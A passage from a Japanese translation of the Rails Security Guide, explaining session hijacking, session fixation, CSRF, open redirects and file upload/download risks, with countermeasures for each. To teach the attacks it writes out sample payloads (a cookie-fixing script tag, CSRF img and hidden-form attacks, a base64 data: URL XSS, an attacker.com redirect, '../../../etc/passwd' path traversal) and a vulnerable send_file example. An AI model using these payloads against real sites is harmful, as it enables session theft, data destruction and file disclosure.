Rails セキュリティガイド

このマニュアルでは、Webアプリケーション全般におけるセキュリティの問題と、Railsでそれらの問題を回避する方法について説明します。

このガイドの内容:

  • 本ガイドで取り上げられている問題に対するあらゆる対策
  • Railsにおけるセッションの概念、セッションに含まれる項目、セッションに対して行われることの多い攻撃
  • Webサイトを開くだけでセキュリティ問題が発生するしくみ (CSRF)
  • ファイルの取扱い上の注意、管理インターフェイスを提供する際の注意
  • いかにユーザーを管理すべきか (ログイン/ログアウトのしくみ、あらゆるレイヤにおける攻撃方法の解説)
  • 最もよく知られたインジェクション攻撃の手法

1 はじめに

Webアプリフレームワークは、Webアプリケーションを容易に開発できるようにするために作られました。その中にはセキュリティを比較的高めやすいフレームワークもあります。実際のところ、あるフレームワークは他のよりも安全であるということは一概には言えません。正しく用いることができているのであれば、たいていのフレームワークで安全なWebアプリケーションを構築できます (逆に言えば、正しく用いられていなければどんなWebアプリケーションを採用しようとも安全を保つことはできません)。Ruby on Railsには、こうした問題が大事に至らないようにセキュリティを保つための便利なヘルパーメソッド (SQLインジェクション対策用など) がいくつか用意されています。

一般に、導入するだけでたちまちセキュリティを保つことができるような便利なものはありません。セキュリティは、フレームワークを使う人間に強く依存します。場合によっては開発方法もセキュリティに影響することがあります。セキュリティは、Webアプリケーションを構成するあらゆる階層 (バックエンドのストレージ、Webサーバー、Webアプリケーション自身、そしておそらく他の階層なども) に依存しています。

Gartner Groupは、攻撃の75%がWebアプリケーション層に対して行われていると見積もっており、監査を受けた300のWebサイトのうち97%が脆弱性を抱えているという結果を得ています。これは、Webアプリケーションに対する攻撃は比較的行いやすく、一般人も理解や操作が可能なほどにWebアプリケーションがシンプルであるためです。

Webアプリケーションに対する脅威には、ユーザーアカウントのハイジャック、アクセス制御のバイパス、機密データの読み出しや改ざん、不正なコンテンツの表示など、さまざまなものがあります。さらに、攻撃者が金儲けまたは企業資産の改ざんによる企業イメージ損壊の目的で、トロイの木馬プログラムや迷惑メール自動送信プログラムを仕込んだりすることもありえます。このような攻撃を防ぎ、影響を最小限にとどめ、攻撃されやすいポイントを除去するためには、敵の攻撃方法を完全に理解しておくことが何よりも必要です。そうでないと、正しい対策を取ることができません。以上が本ガイドの目的です。

安全なWebアプリケーションを開発するために必要なのは、すべての階層を最新の状態に保つこと、そして敵を知ることです。最新の状態に保つためには、セキュリティメーリングリストを購読し、セキュリティブログにしっかり目を通し、更新プログラムを適用し、セキュリティチェックの習慣を身に付けることです (追加資料の章も参照してください)。筆者はこれらのことを手動で行っていますが、これは、あえて手動で行なうことによって厄介な論理上のセキュリティ問題を発見するための方法となるからです。

2 セッション

セッションは、セキュリティに関する考察を始めるのにおあつらえ向きです。セッションはある種の攻撃の対象になることがあります。

2.1 セッションとは何か

アプリケーションはセッションを用いて、多くのユーザーがアプリケーションとやりとりできるようにしつつ、各ユーザー固有のステートを維持します。たとえばセッションを用いることで、ユーザーが認証を1回行うだけで以後のリクエストでサインインしたままにできます。

多くのアプリケーションでは、特定のユーザーがどのような状態にあるかを追跡する必要があります。ショッピングサイトの買い物カゴや、現在ログインしているユーザーのidなどがこれに該当します。セッションという概念がなければ、ユーザーの識別・認証をリクエストを発行するたびに行わなければならなくなります。

Railsは、アプリケーションにアクセスするユーザーごとにセッションオブジェクトを1つ提供します。ユーザーが既にアプリケーションを利用中であれば、Railsは既存のセッションを読み込み、その他の場合は新しいセッションを作成します。

セッションとその利用法について詳しくは、Action Controllerの概要ガイドを参照してください。

2.2 セッションハイジャック

ユーザーのセッションIDが盗まれると、攻撃者がそのユーザーをかたってWebアプリケーションを利用できてしまいます。

多くのWebアプリケーションには何らかの認証システムがあります。ユーザーがユーザー名とパスワードを入力すると、Webアプリケーションはそれらをチェックして、対応するユーザーIDをセッションハッシュに保存します。以後、そのセッションは有効になります。リクエストが行われるたびに、Webアプリケーションはセッションで示されたユーザーidを持つユーザーを読み込みます。このときに再度認証を行なう必要はありません。セッションは、cookie内のセッションidによって識別できます。

このように、cookieはWebアプリケーションに一時的な認証機能を提供しています。他人のcookieを奪い取れれば、そのユーザーの権限でWebアプリケーションを使うことができてしまいます。これによっておそらく深刻な結果が生じる可能性があります。セッションハイジャックの手法と対策をいくつかご紹介します。

  • セキュリティに不備のあるネットワークではcookieを覗き見することができてしまいます。無線LANは、まさにそのようなネットワークの一例です。接続されているクライアントのすべてのトラフィックをのぞき見ることは、暗号化されていない無線LANでは特に簡単に行なえます。Webアプリケーションの開発者にとっては、これはSSLによる安全な接続の提供が必要であるということです。Rails 3.1以降では、アプリケーションの設定ファイルでSSL接続を強制することによって達成できます。

    config.force_ssl = true
    
  • 公共の端末での作業後にcookieを消去するような殊勝なユーザーはほとんどいません。最後のユーザーがWebアプリケーションからログアウトするのを忘れて立ち去っていたら、次のユーザーはそのWebアプリケーションをそのまま使えてしまいます。ユーザーにはログアウトボタンを提供しなければなりません。それもよく目立つボタンをです。

  • クロスサイトスクリプティング (XSS) 攻撃は、多くの場合、ユーザーのcookieを手に入れるのが目的です。XSSの詳細も参照してください。

  • 攻撃者が自分の知らないcookieをわざわざ盗み取る代りに、自分が知っているcookieのセッションidを固定してしまうという攻撃方法もあります。詳細については後述のセッション固定に関する記述を参照してください。

たいていの場合、攻撃者の目的は金儲けです。Symantec Global Internet Security Threat Report(2017)によると、盗まれた銀行口座アカウントの闇価格は、口座残高の0.5~10%、クレジットカード番号は0.5ドルから30ドル(詳細情報を含むと20ドルから60ドル)、ID(名前、SSN、DOB)は0.1ドルから1.5ドル、小売店のアカウントは20ドルから50ドル、クラウドサービスプロバイダーのアカウントは6ドルから10ドルとなっています。

2.3 セッションストレージ

RailsはデフォルトのセッションストレージとしてActionDispatch::Session::CookieStoreを用います。

その他のセッションストレージについて、Action Controllerの概要ガイドを参照してください。

RailsのCookieStoreはクライアント側のcookieにセッションハッシュを保存します。サーバーはこのセッションハッシュをcookieから取得することで、セッションIDの必要性を解消します。こうすることで、アプリケーションのスピードは著しく向上しますが、このストレージオプションについては議論の余地があるため、セキュリティ上の意味やストレージでの制約について以下の点を十分考えておかなければなりません。

  • cookieの上限は4KBです。セッションに関連するデータを保存する目的でのみcookieをお使いください。

  • cookieはクライアント側に保存されます。クライアントには、cookieの期限が切れた場合にもcookieの内容が残っていることがあります。また、クライアントのcookieが他のコンピュータにコピーされる可能性もあります。セキュリティ上重要なデータをcookieに保存することは避けてください。

  • cookieは本質的に一時的な情報です。サーバーはcookieに期限を設定できますが、期限が切れる前にcookieやcookieの内容がクライアント側で削除される可能性があります。恒常性の高いデータは、すべてサーバー側で永続化してください。

  • セッションcookieはひとりでに失効することはないため、悪用目的で使い回される可能性もあります。保存済みのタイムスタンプを利用して古いセッションcookieをアプリケーションで失効させるのもよい方法かもしれません。

  • Railsはcookieをデフォルトで暗号化します。クライアントは暗号を解読しないかぎりcookieの内容を読み取ることも編集することもできません。秘密情報を適切に扱っていれば、cookieのセキュリティは一般的に保たれていると考えてよいでしょう。

CookieStoreはセッションデータの保管場所をencrypted cookie jarで安全に暗号化します。これにより、cookieベースのセッションの内容の一貫性と機密性を同時に保ちます。暗号化鍵は、signed cookieに用いられる検証鍵と同様に、secret_key_base設定値から導出されます。

秘密鍵は十分に長く、かつランダムなものにしなければなりません。一意な秘密鍵を得るにはrails secretを使います。

本ガイドで後述するcredential管理方法も参照してください。

暗号化済みcookieと署名済みcookieで使うsalt値を同じにしないことも重要です。複数のsalt設定に異なる値ではなく同じsalt値を使ってしまうと、別のセキュリティ機能で同じ鍵が導出されてしまい鍵の強度が落ちる可能性があります。

test環境とdevelopment環境のアプリケーションでは、アプリケーション名からsecret_key_baseを導出します。それ以外の環境では、必ずconfig/credentials.yml.encにあるランダムな鍵を使わなければなりません(以下は復号された状態)。

secret_key_base: 492f...

万一アプリケーションの秘密鍵が漏洩した場合は、秘密鍵の変更をぜひともご検討ください。ただし、secret_key_baseを変更すると、現在アクティブなセッションが一斉に期限切れになります(訳注: ユーザー数の多いサイトで多数のアクティブなセッションを突然期限切れにすると、一時的にセッションが大量に再作成されて負荷が急増し、サーバーがダウンするなどの問題につながる可能性も考えられます)。

2.4 暗号化cookieや署名済みcookieの設定をローテーションする

cookie設定のローテーションは、古いcookieが即座に無効にならないようにする理想的な方法です。ユーザーが次回アプリケーションを開いたときに古い設定を含むcookieを読み込み、新しい内容を再び書き込むというものです。十分多くのユーザーがcookieの更新を完了したとみなせれば、ローテーションを削除できます。

ローテーションは、暗号化cookieや署名済みcookieの暗号やダイジェストに対して行えます。

たとえば、署名済みcookieのダイジェストをSHA1からSHA256に変更する場合、最初に新しい設定値を代入します。

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

後は古いSHA1ダイジェストのローテーションを追加すれば、既存のcookieがシームレスにSHA256ダイジェストにアップグレードされます。

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

以後の署名済みcookieはすべてSHA256でダイジェストされて書き込まれます。古いSHA1 cookieも従来どおり読み出され、しかもアクセス時には新しいダイジェストで書き込まれます。これによってアップグレードが完了し、かつローテーションを削除しても無効になりません。

SHA1でダイジェストされている署名済みcookieをユーザーが更新する機会が完全になくなったことを確認できたら、ローテーションを削除します。

ローテーションはいくつでも好きなだけ設定できますが、一度に多数のローテーションを実施するのは一般的ではありません。

暗号化メッセージや署名済みメッセージの鍵ローテーション、およびrotateメソッドで使えるさまざまなオプションについては、MessageEncryptor APIドキュメントやMessageVerifier APIドキュメントを参照してください。

2.5 CookieStoreセッションに対する再生攻撃

CookieStoreを扱うのであれば、もう一つの攻撃方法である「再生攻撃 (replay attack)」についても知っておく必要があります。

再生攻撃のしくみは次のとおりです。

  • ユーザーがクレジットを受け取る。総額はセッションに保存されているとする (これはあくまで説明のためのものであり、やってはいけません)。
  • ユーザーがクレジットで何かを購入する。
  • つかった分減ったクレジットがセッションに保存される。
  • ここでユーザーの暗黒面が発動する。最初にブラウザに保存されていたcookieをコピーしてあったものを、現在のブラウザのcookieと差し替える。
  • ユーザーのクレジット額が元に戻る。

この再生攻撃は、セッションにnonce (1回限りのランダムな値) を含めておくことで防ぐことができます。nonceが有効なのは1回限りであり、サーバーはnonceが有効かどうかを常に追跡し続ける必要があります。複数のアプリケーションサーバーで構成された合いの子アプリケーションの場合、状況はさらに複雑になります。nonceをデータベースに保存してしまうと、せっかくデータベースへのアクセスを避けるために設置したCookieStoreを使う意味がなくなってしまいます。

結論から言うと、 この種のデータはセッションではなくデータベースに保存するのが最善です。この場合であれば、クレジットをデータベースに保存し、logged_in_user_idをセッションに保存します。

2.6 セッション固定攻撃

ユーザーのセッションIDを盗む代りに、攻撃者が意図的にセッションIDを既知のものに固定するという方法があります。この手法はセッション固定 (session fixation) と呼ばれます。

Session fixation

この攻撃では、ブラウザ上のユーザーのセッションIDを攻撃者が知っているセッションidに密かに固定しておき、ブラウザを使うユーザーが気付かないうちにそのセッションIDを強制的に使わせます。この方法であれば、セッションIDを盗み出す必要すらありません。攻撃方法は次のとおりです。

  • 攻撃者は有効なセッションIDを生成します。攻撃者はWebアプリケーションのログインページ (つまりセッション固定攻撃の対象ページ) を開き、レスポンスに含まれるcookieからセッションIDを取り出します (図の1と2を参照)。
  • 攻撃者は、セッションが期限切れにならないよう、ときどきWebアプリケーションにアクセスしてセッションを維持します。
  • ここで攻撃者は、標的ユーザーのブラウザでこのセッションIDを強制的に読み込ませます (図の3を参照)。同一生成元ポリシーの制限によって、外部ドメインから標的ユーザーのcookieを変更できないのが普通なので、攻撃者はWebサーバーのドメインを経由してJavaScriptを標的ユーザーのブラウザに送り込んで読み込ませなければなりません。クロスサイトスクリプティング (XSS) によってJavaScriptコードの注入 (インジェクション) に成功すれば、攻撃は完了です。セッションidの例: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>。XSSとインジェクションの詳細については後述します。
  • 攻撃者は、JavaScriptが仕込まれたページに標的ユーザーを誘い込みます。標的ユーザーがブラウザでページを開くと、そのユーザーのセッションIDが攻撃者の仕込んだものと差し替えられます。
  • 標的ユーザーのブラウザでは、仕込まれたセッションIDでのログインはまだ行われていないので、Webアプリケーションはユーザーに認証を要求します。
  • 認証が完了すると、標的ユーザーと攻撃者は同じセッションを共有した状態になります。このセッションは有効なものとして扱われ、標的ユーザーは自分が攻撃されたことにも気付きません。

2.7 セッション固定攻撃 - 対応策

セッション固定攻撃は、たった1行のコードで防止できます。

最も効果的な対応策は、ログイン成功後に古いセッションを無効にし、新しいセッションidを発行することです。これなら、攻撃者が固定セッションidを悪用する余地はありません。この対応策は、セッションハイジャックにも有効です。Railsで新しいセッションを作成する方法を以下に示します。

reset_session

ユーザー管理用にDeviseなどの有名なgemを導入しているのであれば、ログイン/ログアウト時にセッションが自動的に切れるようになります。もし自分で管理する場合は、ログインした後 (セッションが作られた後) にセッションを切るように注意してください。上のメソッドを実行するとセッションにあるすべての値が削除されるので、それらの値を新しいセッションに転送しておく必要があります

その他の対応策として、セッションにユーザー固有のプロパティを保存しておき、ユーザーからリクエストを受けるたびに照合して、マッチしない場合はアクセスを拒否するという方法もあります。ユーザー固有のプロパティとして利用可能な情報には、リモートIPアドレスや user agent (= webブラウザの名前) がありますが、後者は完全にユーザー固有とは限りません。IPアドレスを保存して対応する場合、インターネットサービスプロバイダ (ISP) や大企業からのアクセスはプロキシ越しに行われていることが多いことを思い出しておく必要があります。IPアドレスはセッションの途中で変わる可能性があるため、IPアドレスをユーザー固有の情報として使おうとすると、ユーザーがWebアプリケーションにアクセスできなくなったり、ユーザーの利用に制限が加わる可能性があります。

2.8 セッションの期限切れ

セッションを無期限にすると、攻撃される機会を増やしてしまいます (クロスサイトリクエストフォージェリ (CSRF)、セッションハイジャック、セッション固定など)。

セッションIDを持つcookieのタイムスタンプに有効期限を設定するという対応策も考えられなくはありません。しかし、ブラウザ内に保存されているcookieをユーザーが編集できてしまう点は変わらないので、やはりサーバー側でセッションを期限切れにする方が安全です。 データベーステーブルのセッションを期限切れにするには、たとえば次のようにSession.sweep("20 minutes")を呼ぶと、20分以上経過したセッションが期限切れになります。

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    if time.is_a?(String)
      time = time.split.inject { |count, unit| count.to_i.send(unit) }
    end

    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
  end
end

この節では、セッション保持の問題のところで触れたセッション固定攻撃について説明します。攻撃者が5分おきにセッションを維持すると、サーバー側でセッションを期限切れにしようとしてもセッションを恒久的に継続させることができてしまいます。これに対する単純な対策は、セッションテーブルにcreated_atカラムを追加することです。これで、期限を過ぎたセッションを削除できます。上のsweepメソッドで以下のコードを使います。

delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
  created_at < '#{2.days.ago.to_s(:db)}'"

3 クロスサイトリクエストフォージェリ (CSRF)

この攻撃方法は、ユーザーによる認証が完了したと考えられるWebアプリケーションのページに、悪意のあるコードやリンクを仕込むというものです。そのWebアプリケーションへのセッションがタイムアウトしていなければ、攻撃者は本来認証されていないはずのコマンドを実行できてしまいます。

セッションの章で、多くのRailsアプリケーションがcookieベースのセッションを使っていることを説明しました。このとき、セッションIDをcookieに保存してサーバー側にセッションハッシュを持つか、すべてのセッションハッシュをクライアント (ブラウザ) 側に持ちます。どちらの場合にも、ブラウザはリクエストのたびにcookieを自動的にドメインに送信します (そのドメインで利用できるcookieがある場合)。ここで問題となるのは、異なるドメインに属するサイトからリクエストがあった場合にもブラウザがcookieを送信してしまうという点です。以下の例で考えてみましょう。

  • ボブは掲示板をブラウザで眺めていて、とあるハッカーによる書き込みを目にします。その書き込みには仕掛けのあるHTML image要素が含まれています。その要素が実際に参照しているのは画像ファイルではなく、ボブのプロジェクト管理アプリケーションを標的にしたコマンド(<img src="http://www.webapp.com/project/1/destroy">)です。
  • ボブはここ数分間ログアウトしていないので、www.webapp.com に対するボブのセッションはまだ期限切れになっていません。
  • ハッカーによる書き込みがブラウザで表示されると、ブラウザはimageタグを見つけます。そしてブラウザは www.webapp.com からその怪しい画像を読み出そうとします。前述のとおり、このときに有効なセッションidを含むcookieも一緒に送信されます。
  • www.webapp.com のWebアプリケーションは、リクエストに対応するセッションハッシュに含まれるユーザー情報が有効であると認定し、その指示に従ってID 1のプロジェクトを削除します。そしてブラウザは結果ページを表示して何らかの問題が生じたことを示します。画像は表示されません。
  • ボブは攻撃に気づいていません。しかし数日後にはプロジェクトNo.1が削除されていることに気づきます。

ここで重要なのは、仕掛けのある画像やリンクの置き場所はWebアプリケーションのドメインに限らないということです。フォーラム、ブログ、email、どこにでも置けます。

CSRFは、CVE (Common Vulnerabilities and Exposures) で報告されることはめったにありません (2006年でも0.1%以下) が、それでもGrossmanが言うところの「眠れる巨人」であり、危険なことに変わりはありません。筆者や他のセキュリティ専門家によるセキュリティ関連の実績に登場することはほとんどありませんが、CSRFは非常に重大なセキュリティ問題であることは強く認識していただきたいと思います。

3.1 CSRFへの対応策

第一に、W3Cが要求しているとおり、GETとPOSTを適切に使いましょう。第二に、GET以外のリクエストにセキュリティトークンを追加することで、WebアプリケーションをCSRFから守ることができます。

HTTPプロトコルは2つの基本的なリクエストであるGETとPOST(DELETE、PUT、PATCHはPOSTと同様に使われるべきです)を提供しています 。World Wide Web Consortium (W3C) は、HTTPのGETやPOSTを選択する際のチェックリストを提供しています。

以下の場合はGETを使うこと

  • そのやりとりが基本的に問い合わせである場合 (クエリ、読み出し操作、検索のような安全な操作)

以下の場合はPOSTを使うこと

  • そのやりとりが基本的に命令である場合、または
  • そのやりとりによってユーザーにわかる形でリソースの状態が変わる場合 (サービスへの申し込みなど)、または
  • そのやりとりによって生じる結果をユーザーが把握できる場合

WebアプリケーションがRESTfulであれば、PATCH、PUT、DELETEなどのHTTPメソッドも使われているでしょう。しかし、一部のブラウザはこれらのメソッドをサポートしていません。確実にサポートされているのはGETとPOSTだけです。Railsでは_methodという隠しフィールドを使ってこれらのHTTPメソッドをサポートしています。

POSTリクエストも (意図に反して) 自動的に送信されることがありえます。ブラウザのステータスバーに、www.harmless.com というWebサイトへのリンクが表示されているとします。そしてこのリンクに仕掛けがあり、POSTリクエストをこっそり送信する新しいフォームを動的に作成するようになっているとします。

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

あるいは、攻撃者がこのコードを画像のonmouseoverイベントハンドラに仕込んであるとします。

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

<script>タグを使って、JSONPやJavaScriptの応答を伴う特定のURLへのクロスサイトリクエストを作成するなど、攻撃方法は多種多様です。このレスポンスは攻撃者が実行方法を見つけ出したコードであり、機密データを取り出せる可能性があります。このようなデータ流出を防止するには、クロスサイトの<script>タグを無効にします。ただしAjaxリクエストはブラウザの「同一生成元ポリシー」に従って動作する(XmlHttpRequestを開始できるのは自サイトのみ)ため、JavaScriptレスポンスを返すことを安全に許可できます。

Note: <script>タグのoriginが同じサイトか悪意のあるサイトかは、区別しようがありません。このため<script>タグは、たとえ実際には自サイトからの同一originのスクリプトであっても、全面的にブロックしなければなりません。このような場合、<script>を対象にJavaScriptを使う操作については明示的にCSRF保護をスキップしてください。

この種の偽造リクエストをすべて防止するには、必須セキュリティトークンを導入します。このトークンは自分のサイトだけが知っており、他のサイトは知りません。リクエストにはこのセキュリティトークンを含め、サーバー側でこれを検証します。以下の1行コードはアプリケーションのコントローラに追加するものであり、Railsで新規作成したアプリケーションにはこのコードがデフォルトで含まれます。

protect_from_forgery with: :exception

このコードがあると、Railsで生成されるすべてのフォームとAjaxリクエストにセキュリティトークンが自動的に含まれます。セキュリティトークンがマッチしない場合には例外がスローされます。

Railsにデフォルトで含まれるunobtrusive scripting adapterが追加するX-CSRF-Tokenというヘッダーには、GET以外のあらゆるAjax呼び出しでセキュリティトークンを含みます。このヘッダーがないと、RailsはGET以外のAjaxリクエストを受け付けなくなります。Ajax呼び出しに他のライブラリを使う場合は、そのライブラリのAjax呼び出しのデフォルトのヘッダーにセキュリティトークンを追加する必要があります。このトークンを取得するにはアプリケーションのビューで<%= csrf_meta_tags %>から出力される<meta name='csrf-token' content='THE-TOKEN'>タグをご覧ください。

恒常的なcookieにユーザー情報を保存する (たとえばcookies.permanentなどに) ことはよく行われています。この場合cookieは消去されないことと、前述の保護機構の外ではCSRFからの保護を受けられないことにご注意ください。何らかの理由でこのような情報をセッション以外のcookieストアに保存している場合は、必要な操作を開発者自身が行わなければなりません。

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # ユーザーのcookieを削除するメソッドの例
end

上のメソッドはApplicationControllerに置くことができます。そして、非GETリクエストにCSRFトークンがない場合やトークンが無効な場合にこのメソッドが呼び出されます。

気を付けていただきたいのは、クロスサイトスクリプティング (XSS) 脆弱性は、あらゆるCSRF保護を迂回してしまうということです。XSS脆弱性が存在すると、攻撃者はWebページのあらゆる要素にアクセスできてしまいます。そのため、フォームからCSRFセキュリティトークンを読みだしてそのフォームを直接送信することができてしまいます。後述のXSSの詳細にも目を通してください。

4 リダイレクトとファイル

セキュリティ上の脆弱性として次に検討したいのは、Webアプリケーションにおける「リダイレクトとファイル」です。

4.1 リダイレクト

Webアプリケーションにおけるリダイレクトは、過小評価されがちなクラッキングツールです。攻撃者はこれを使ってユーザーを危険なWebサイトに送り込んだり、Webサイト自体に罠を仕掛けたりすることもできます。

リダイレクト用のURL (の一部) を渡すことをユーザーに許すと、潜在的な脆弱性となります。最もあからさまな攻撃方法としては、ユーザーを本物そっくりの偽Webサイトにリダイレクトすることが考えられます。これは俗に「フィッシング(phishing)」や「釣り」などと呼ばれる攻撃手法です。具体的には、無害を装ったリンクを含むメールをユーザーに送りつけ、XSSを使ってそのリンクをWebアプリケーションに注入するか、リンクを外部サイトに配置します。このリンクの冒頭部分はそのWebアプリケーションのURLなので、一見無害に見えます。危険なサイトに導くURLはリダイレクトのパラメータの中に隠されています ( http://www.example.com/site/redirect?to=www.attacker.com )。ここではlegacyアクションを例示します。

def legacy
  redirect_to(params.update(action:'main'))
end

このコードは、legacyアクションに対するアクセスがあれば、ユーザーをメインのアクションにリダイレクトします。このコードの本来の意図は、従来のアクションへのURLパラメータを保護し、それをメインのアクションに渡すことです。しかし、このURLにホスト鍵が含まれていると、攻撃者に悪用される可能性があります。

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

URLの末尾にあるホスト鍵は気付かれにくく、ユーザーは attacker.com ホストにリダイレクトされてしまいます。単純な対応策としては、legacyアクションでは想定されたパラメータだけを含めるようにするという方法があります (これは許可リスト的アプローチであり、想定されていないパラメータを除外する方法とは真逆です)。 URLをリダイレクトする場合は、許可リストまたは正規表現でチェックしてください

4.1.1 自己完結型XSS

FirefoxやOperaのデータプロトコルを使って、別のタイプのリダイレクションや自己完結型XSS攻撃を実行できてしまいます。データプロトコルは、その内容をブラウザに直接表示できます。しかも、HTML、JavaScriptや丸ごとの画像イメージなど、何でも含められます。

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

この例ではBase64でエンコードされたJavaScriptを使っています。このJavaScriptは単にメッセージボックスを表示します。リダイレクションURL攻撃では、攻撃者がこのような悪意のあるコードを含んだURLへのリダイレクトを行います。この攻撃への対応策は、リダイレクトするURL(あるいはその一部)をユーザーから渡せないようにすることです。

4.2 ファイルアップロード

ファイルがアップロードされたときに重要なファイルが上書きされることのないようにしましょう。また、メディアファイルの処理は非同期で行なうようにしましょう。

多くのWebアプリケーションでは、ユーザーがファイルをアップロードできるようになっています。ユーザーが選択/入力できるファイル名 (またはその一部) は必ずフィルタしてください。攻撃者が危険なファイル名をわざと使ってサーバーのファイルを上書きしようとする可能性があるためです。ファイルが /var/www/uploads ディレクトリにアップロードされ、そのときにファイル名が「../../../etc/passwd」と入力されていると、重要なファイルが上書きされてしまう可能性があります。言うまでもなく、Rubyインタプリタにそれだけの実行権限が与えられていなければ、そのような上書きは実行できません。Webサーバー、データベースサーバーなどのプログラムは、比較的低い権限を持つUnixユーザーとして実行されているのが普通です。

さらにもう一つ注意があります。ユーザーが入力したファイル名をフィルタするときに、ファイル名から危険な部分を取り除くアプローチを使わないでください。Webアプリケーションがファイル名から「../」という文字を取り除くことができるとしても、今度は攻撃者が「....//」のようなその裏をかくパターンを使えば、やはり「../」という相対パスが通ってしまい、きりがありません。最も良いのは「許可リスト」によるアプローチです。これは ファイル名が有効であるかどうか (指定された文字だけが使われているかどうか) をチェックするものです。これは「拒否リスト」アプローチと逆の手法であり、利用が許されてない文字を除去します。ファイル名が無効の場合は、拒否するか、無効な文字を置き換えますが、取り除くわけではありません。attachment_fu pluginのファイル名サニタイザを以下に示します。

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # メモ: File.basenameは、Unix上でのWindowsパスに対しては正常に動作しません
    # フルパスではなくファイル名のみを取得
    name.sub! /\A.*(\\|\/)/, ''
    # 最終的に非英数文字をアンダースコアまたは
    # ピリオドとアンダースコアに置き換え
    name.gsub! /[^\w\.\-]/, '_'
  end
end

(attachment_fuプラグインが画像に対して行なうように) ファイルのアップロードを同期的に行なうと、セキュリティ上かなり不利になります。サービス拒否 (DoS) 攻撃の脆弱性が生じるためです。攻撃者は、同期的に行われる画像ファイルアップロードを多数のコンピュータから同時に実行することで、サーバーに高負荷をかけて最終的にサーバーをクラッシュまたは動作停止に陥らせます。

これに対する最善のソリューションは、メディアファイルを非同期的に処理することです。メディアファイルを保存し、その後データベース内への処理のリクエストをスケジューリングします。2番目の処理は、バックグラウンドで行います。

4.3 ファイルアップロードで実行可能なコードを送り込む

アップロードされたファイルに含まれるソースコードが特定のディレクトリに置かれると、ソースコードが実行可能になってしまう可能性があります。Railsの/publicディレクトリがApacheのホームディレクトリになっている場合は、ここにアップロードファイルを置いてはいけません。

広く使われているApache WebサーバーにはDocumentRootというオプションがあります。これはWebサイトのホームディレクトリであり、このディレクトリツリーに置かれているものはすべてWebサーバーによって取り扱われます。そこに置かれているファイルの名前に特定の拡張子が与えられていると、それに対してリクエストが送信された時に実行されてしまうことがあります (何らかのオプションを与える必要があるかもしれません)。実行される可能性のある拡張子は、たとえばPHPやCGIなどです。攻撃者が「file.cgi」というファイルをアップロードし、その中に危険なコードが仕込まれているとします。このファイルを誰かがダウンロードすると、このコードが実行されます。

ApacheのDocumentRootがRailsの/publicディレクトリを指している場合、アップロードファイルをここに置かないでください。少なくとも1階層上に保存する必要があります。

4.4 ファイルのダウンロード

ユーザーが任意のファイルをダウンロードできる状態を作らないこと。

ファイルアップロード時にファイル名のフィルタが必要になるのと同様、ファイルのダウンロード時にもファイル名をフィルタする必要があります。以下のsend_file()メソッドは、サーバーからクライアントにファイルを送信します。フィルタ処理されていないファイル名を使うと、ユーザーが任意のファイルをダウンロードできるようになってしまいます。

send_file('/var/www/uploads/' + params[:filename])

「../../../etc/passwd」のようなファイル名を渡せば、サーバーのログイン情報をダウンロードできてしまいます。これに対するシンプルな対応策は、リクエストされたファイル名が、想定されているディレクトリの下にあるかどうかをチェックすることです。

basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
     File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'

その他に、ファイル名をデータベースに保存しておき、データベースのidをサーバーのディスク上に置く実際のファイル名の代りに使う方法も併用できます。この方法も、アップロードファイルが実行される可能性を回避する方法として優れています。attachment_fuプラグインでも同様の手法が採用されています。

5 イントラネットとAdminのセキュリティ

イントラネットおよび管理画面インターフェイスは、強い権限が許されているため、何かと攻撃の目標にされがちです。イントラネットおよび管理画面インターフェイスには、他よりも手厚いセキュリティ対策が必要ですが、現実には逆にむしろこれらの方がセキュリティ対策が薄いということがしばしばあります。

2007年、その名も Monster.com というオンラインリクルート用Webアプリケーションで、特別に作られたトロイの木馬プログラムによってイントラネットから情報が盗み出され、文字どおり経営者にとってのモンスターとなった事件がありました。トロイの木馬をわざわざ特別に誂えるというのはこれまでも非常にまれなことであり、リスクとしては相当低いと言えますが、それでもゼロではありませんし、クライアントホストのセキュリティも重要であるという好例でもあります。ただし、イントラネットや管理アプリケーションにとって最も脅威なのはXSSとCSRFです。

XSS: 悪意のあるユーザーがイントラネットの外から入力したデータがWebアプリケーションで再表示されると、WebアプリケーションがXSS攻撃に対して脆弱になります。ユーザー名、コメント、スパムレポート、注文フォームの住所のような情報すらXSS攻撃に使われることがあります。

管理画面やイントラネットで1箇所でもサニタイズ漏れがあれば、アプリケーション全体が脆弱になってしまいます。想定される攻撃としては、管理者のcookieの盗み出し、管理者パスワードを盗み出すためのiframe注入、管理者権限奪取のためにブラウザのセキュリティホールを経由して邪悪なソフトウェアをインストールする、などが考えられます。

XSS対策の注入に関する節を参照してください。

CSRF: クロスサイトリクエストフォージェリ (Cross-Site Request Forgery) はクロスサイトリファレンスフォージェリ (XSRF: Cross-Site Reference Forgery) とも呼ばれ、非常に強力な攻撃手法です。この攻撃を受けると、管理者やイントラネットユーザーができることをすべて行えるようになってしまいます。CSRFについては既に説明しましたので、ここでは攻撃者がイントラネットや管理画面に対して攻撃を仕掛ける手順をいくつかの事例を示して説明します。

